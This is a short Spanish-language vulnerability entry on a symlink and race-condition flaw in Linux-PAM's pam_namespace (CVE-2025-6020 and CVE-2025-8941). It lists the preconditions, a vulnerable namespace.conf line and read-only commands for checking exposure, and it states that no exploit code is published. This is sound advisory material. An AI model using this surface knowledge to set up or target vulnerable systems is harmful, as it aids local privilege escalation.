Descripción: pam_namespace sigue rutas controlables por el usuario durante la creación de directorios polyinstanciados; symlinks y carreras permiten que root opere sobre rutas elegidas. CVE-2025-8941 completa el arreglo insuficiente de CVE-2025-6020.

Requisitos: pam_namespace habilitado y una entrada de /etc/security/namespace.conf que polyinstancie una ruta escribible o influenciable por el usuario. No es un LPE universal en la configuración predeterminada.

PoC: El advisory público de ANSSI describe el escenario vulnerable, pero indica que el PoC de LPE se entregó privadamente a los mantenedores y no publica su código. La configuración mínima documentada para validar la superficie es:

$HOME  $HOME/$USER.inst/  user  root

Después de habilitar pam_namespace.so para el servicio PAM del laboratorio, comprobar la configuración y la versión:

grep -R 'pam_namespace\.so' /etc/pam.d
grep -Ev '^\s*(#|$)' /etc/security/namespace.conf
pam_namespace_helper --help 2>&1 | head -1

No hay un oneliner oficial para la carrera. La fuente correcta es el aviso de ANSSI; CVE-2025-6020 se corrigió inicialmente en Linux-PAM 1.7.1 y CVE-2025-8941 completa ese arreglo.

Referencias: Advisory inicial de ANSSI · Autor: Olivier Bal-Petre, ANSSI · Divulgación inicial: 17 de junio de 2025; corrección complementaria CVE-2025-8941: agosto de 2025.